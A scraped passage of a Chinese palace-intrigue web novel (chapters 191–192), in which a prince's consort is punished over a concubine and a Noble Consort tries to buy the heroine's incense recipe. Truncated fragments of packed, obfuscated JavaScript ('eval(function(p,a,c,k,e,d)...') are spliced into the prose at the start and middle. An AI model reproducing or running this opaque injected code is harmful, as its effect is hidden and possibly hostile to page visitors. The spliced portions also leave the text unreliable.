RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“她竟然敢背着本王如此罚我的良媛,这是想毁了良媛的一双腿吗?传姜氏过来!” 凤南蓉更是诧异了,王爷先后待她两种人格。 先前有多厌恶她,羞辱她都还记得。 她心中忍不住思忖:“凤南茵的香,真的这么厉害?” 第一百九十一章安王妃再出恶主意 安王妃昨夜气闷,天快亮了才睡熟。 总管祁公公站在门前,扣了三下房门。 “王妃,王爷唤您过春意院。” 门敲得大声,安王妃在睡梦中激灵一下,瞬间睁开眼。 “什么事?” “王妃若是醒了就赶至春意院吧,王爷在等您呢。” 安王妃被惊醒,心跳加速,听闻王爷找她,心开始往下沉,有一种大势不好的感知。 “祁总管,可知王爷这么早唤我过去是因为何事?” 祁总管还是很敬佩王妃的,这么多年王爷一房一房的妾氏往府中带,王妃将后院打理的井井有条,无一人敢出幺蛾子。 只是这一次栽到凤良媛身上,连他都没想到,春意院那位能翻身的这样快。 “王爷心疼凤良媛伤了腿,怕是要问王妃的罪了。” 姜氏捏着被角,心中恨恼。 看来本王妃平日太过大度了,处处为王爷着想竟是给自己接二连三惹祸事。 “知道了。” 召唤了下人替自己更衣,洗漱。 随后不紧不慢地在双膝盖处套了棉护,才向春意院而去。 安王向来早起都会脾气重,她可不想自己受罪。 安王此时已经到了盛怒边缘,敞着中衣,散着发坐在床头。 姜氏才到,安王怒喝一声,“跪下!” 多年夫妻,姜氏早了解夫君的德行,这张温润的外表下是怎么样一颗暴躁的性子。 这个时候乖顺是最好的选择,便缓缓地矮下身子。 “王爷。” 安王见她白着一张脸,一副受到惊怕的样子,自己的威仪感得到满足。 “姜新月,从前本王觉得你贤良大度,无苛待一人。昨日凤良媛到底犯了何错,让你将她罚伤成这般。” 凤南蓉很怕安王,觉得他喜怒不定,难以捉摸。 这会却仗着身上媚人香,轻轻靠到安王的肩头,委屈抽噎。 “王爷,臣妾一直在房中养伤,没有冒犯姐姐一句,昨日她进来就叫臣妾下跪,臣妾身子弱承受不住,姐姐就用冷水淋我,还扬言要杀了臣妾。” “王爷,姐姐是怕我得宠吗?” 她半句不提凤南茵,也不将母亲与哥哥过府的事说出来,因为她怕安王想到对方,对自己的怜惜又变了。 一句姐姐怕我得宠,成功让安王觉得姜氏起了善妒之心。 起身,他走到姜氏面前,居高临下睨着她。 “姜新月,你自己生不出儿子,还不希望其他的姐妹为本王生子吗?” 他恶狠狠地掐着姜氏的下巴,“你可知,若是本王如今便有嫡子,也许太子之位早就是本王的了。” “王爷!” 王爷怎能说出这样大逆不道的话,要是被皇上知道,是大不敬的罪过啊。 安王一掌甩下,怒道:“看到你这张脸就厌烦,回你的云台院跪着,跪足三个时辰好好反醒错在何处。” 姜新月苦笑,却没有一句辩解。 因为辩解在安王这里毫无意义,只会招来更多的责骂。 “臣妾遵旨。” 起身离开前,她将冷冷地扫了一眼凤南蓉。 凤南蓉,安王的喜爱从不持久,待他对你厌弃那日,看本王妃如何收拾你。 琪嬷嬷扶着王妃回院,在旁问着,“娘娘,要不要向以往那样,在她的吃食里……” 安王妃沉吟片刻后摇头,“暂且不要,王爷若是对她的宠爱持久,却迟迟不孕,反而容易怀疑到咱们身上。” 加上她担心凤南茵在这期间会过来,查出她下药,这些年的苦心经营就白废了。 孩子生下来也有办法对付,她不急。 只是她越想心气越不顺,干脆换了朝服入宫见贵妃。 至于让她罚跪,她不跪,谁敢向安王去告状,凤良媛真以为安王替她出了气? 怎么可能。 姜氏到了翊坤宫便跪了下去。 她哭得梨花带雨,加上一夜未能安眠,脸色惨白,说不出的憔悴。 “母妃,儿媳见不得王爷那日在宫中受气,回府后便想将凤南茵骗入府中,寻了她的错处好好拿捏。” “可是她不知使了什么手段,原本凤南茵被儿媳拿捏的下了床,却在招待使臣之时,让这个**出尽风头。” “如今王爷被凤良媛迷得不顾身体,日日笙萧,那狐媚子伤得那般重都能如此,儿媳真怕她伤好后,会在安王府做出倒反天罡之事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“说得好,上一次让她因凤南蓉的病躲过一劫,这一次看她想继续逃避,注定会得罪人。” 第一百九十二章一万两买你秘方 贵妃瞬间在备选的秀女单子中挑人选。 工部尚书之女赵棠锦。 大司农之女谭海欢。 魏太师孙女魏曼曼。 晋安侯嫡长女谢宁。 户部尚书长孙柳婷芳。 这五人都是今年秀女,如今分在各宫做宫人。 皆是家世与靖王有渊源之人。 前三人贵妃已经掌握依据,他们的家族已站在靖王身后,暗中支持。 后两位本是可以赐婚给靖王为正妃的人选,被德妃给筛选下去了,对德妃必有怨言。 这五人不管是哪一位被金沙王子挑中,都会让靖王得罪人。 毕竟这宴席就算是礼部筹办,后妃参加人也要由德妃来定夺。 没对她们透露消息,就是她的错。 贵妃心下得意,道:“丛嬷嬷,挑机灵一些的人散出消息,此次宴席靖王要再选侧妃。” 丛嬷嬷:“是。” 贵妃长长吁出一口浊气。 “将凤南茵宣入宫,本宫要召见。”这一次她的菁雨能否躲过和亲,还要看凤南茵。 凤南茵在南城宅邸睡了一个昏天黑地。 醒来后美美地吃了一顿大餐,总算是将几日缺的精神补了回来。 席间她计划过了今晚便带着周婶子母女去庄上小住,眼下正是花红柳绿时节,最是适合游玩享乐的日子。 周水水心中欢喜,她们现在日子过得好,可就是闷了点,能出去玩真是再好不过了。 饭都没吃完,早早就开始收拾行李。 “乡主,咱们去庄子,首饰要带哪些?” “衣衫挑耐脏的,钗环挑样式简单的,咱们去了庄子后每天都要出门,多带几双鞋子。” “是,乡主。” 周嬷嬷小跑着往内院走,脸色不好,“乡主,宫中来人,贵妃娘娘宣您入宫。” 凤南茵! “贵妃七个半月的身子,不想着如何安心养胎,每日还在想着如何算计我!” 好好好! 这安生日子不想过,那就都别过了。 “水水,东西先放着,我进宫一趟回来再说。” 水水脸上露出担心,“乡主,贵妃不会又要加害您吧?” 凤南茵也不知此去何事,多半还与和亲有关。 “德妃不会让她如愿的,丽妃娘娘也会想办法护我,不要和师伯说贵妃召见我,就说德妃娘娘想我了,想我入宫小住就好。” 师伯恢复行医资格后,每日都有朝臣相邀过府,这些人打着求医的名义想与靖王攀上关系。 师伯得罪不得,却是苦了他一把年纪还要辛苦。 凤南茵一入宫门便对雏菊道:“给德妃娘娘送信,我带蝶兰先去翊坤宫。” 她如今只是小小的从四品乡主,对上正一品贵妃娘娘,没有娘亲在,怕会不利。 经过东西夹道,凤南茵与安王妃相遇,她心下恍然。 原来如此,她就说怎么好好的贵妃想到她。 “见过安王妃。” 姜新月居高临下睨着她,嘴角似笑非笑。 “凤南茵,本妃可是将你在贵妃面前好好夸赞了一番,你那手魅惑男人的本事,当着贵妃娘娘的面,可莫要有所隐瞒,不然可是大不敬。” “魅惑男人?” “当然了,你若进献有功,娘娘一定会赏你,到时候可别忘记感激本妃。” “安王妃在和我开玩笑吗?我一个尚未及笄的小丫头,怎么懂得这些?” 凤南茵在心下咒骂。 “果然不是一家人,不进一家门,这安王府从上到下,从尊到卑,还真真都是一丘之貉。” 全都是忘恩负义,面慈心狠,不加掩饰的小人。 “冀宁,敢欺瞒贵妃娘娘,待查出实证,你可担不起罪责。” 凤南茵福了福身,“王妃言重了,您可莫要给我扣高帽子强加罪名,毕竟这是皇宫,您在安王府无顾虐待妾氏的伎俩,在这后宫可行不通。” “你!” 凤南茵又道:“安王妃要是想与我在这周旋,故意让贵妃等,来降罪于我?不过我也是不怕的,毕竟多等一刻,德妃娘娘就能及时赶过来,说不定问我话都免了。” 姜氏心里气的都要蒸腾了,偏她最是能忍。 当即笑了,“冀宁你在想什么呢,都说是宣你入宫,是向你求知,怎么会问责,还惊动德妃娘娘。” 她上前,直接位住凤南茵,就好像刚刚生的龃龉从未发生。 凤南茵本就厌烦应对这些虚假的嘴脸。 如今更是厌烦女人多的地方,心里作呕。 入了翊坤宫,发现才几日不见贵妃,她的面相又变了。 脸上浮肿的更加厉害,不知是没上妆的原因,还是近来心气不顺,唇色寡淡,眼下泛出了青色,看到她进来的一刹那,眉头出现川字纹。 那纹随着虚假的展颜也没消散。 真没想到,曾经宠冠后宫的贵妃娘娘,短短几日竟老得这般厉害。 “冀宁见过贵妃娘娘。” 发现七公主也在,又是一礼,“见过公主殿下。” 时菁雨嘟唇,“南茵,你许久不找我玩了,近来都在有意疏远我,是我哪里得罪你了?” 凤南茵忙解释,“怎么会呢,南茵初入宫时,有幸与公主相交,那是南茵最快乐的时光。” 可惜,我从未付出真心,而你也从未将我视作朋友,所以谈不上想念。 “我也是,那是我最快乐的时光。不如近日你就留在宫中吧,我们许久没有一同制香了,你应我做花露的事还没兑现呢。” 凤南茵笑着应道:“公主相邀,冀宁自然不敢不从,只怕皇上那里不允。” 贵妃笑道:“之前都是误会,皇上才不允你长居宫中。不过德妃妹妹近来要操持宫宴,你留下来帮她也是应当。” 凤南茵点头,没有说话。 贵妃道:“素来知道你制香了得,而你姐姐凤南蓉更是一夜之间得到安王宠爱,这期间你该是没少出力吧?” 安王妃不知什么时候坐了下来,视线紧紧盯着凤南茵。 她想要的,就是那个方子,今日一定要得到。 贵妃笑了笑道:“你也不必紧张,本宫不过是想和你要那香方,本宫愿意以一万两来买。” 凤南茵在心中冷笑,贵妃稳坐高位多年,将一切索取都当作理所应当。 可惜啊,她调配给凤南蓉的东西,绝对不能让外人知道。 她惊慌地看向安王妃,不知所措。 “娘娘,这中间一定有所误会,凤良媛得安王所喜,皆是因为她自身容貌出众,又苦练舞艺多年,才会让安王生了怜爱之心。” “若说她得宠一定要与我牵扯上,也只是我给她调配了止痛药,让她撑过腿伤完成一舞。” “这世间怎么会有迷惑人心志的香料,若南茵真有那本事,岂不是早就成为人上人了?” 贵妃蹙眉,一时间失望不已。 她也觉得安王妃臆想了。 “冀宁,本宫与你要这方子都是为了七公主,你二人关系这般好,就不想帮她吗?” 凤南茵睁大眼睛,“公主有心仪之人了?” 她似知道说错了话,忙低头,“只是可惜冀宁除了之前被禁用的那个香方,再不会其他了。” 时菁雨被臊得双颊羞红,“没有的事,只是,只是母妃怕和亲一事最终还是要落到我头上而已。” 凤南茵点头,“娘娘心疼殿下之心南茵能够理解,我能做的也只是帮您多做一些花露和养颜膏,至于安王妃传讹的东西,冀宁没那个本事。” 安王妃气死了,这凤南茵最后还咬她一口。 “你撒谎!”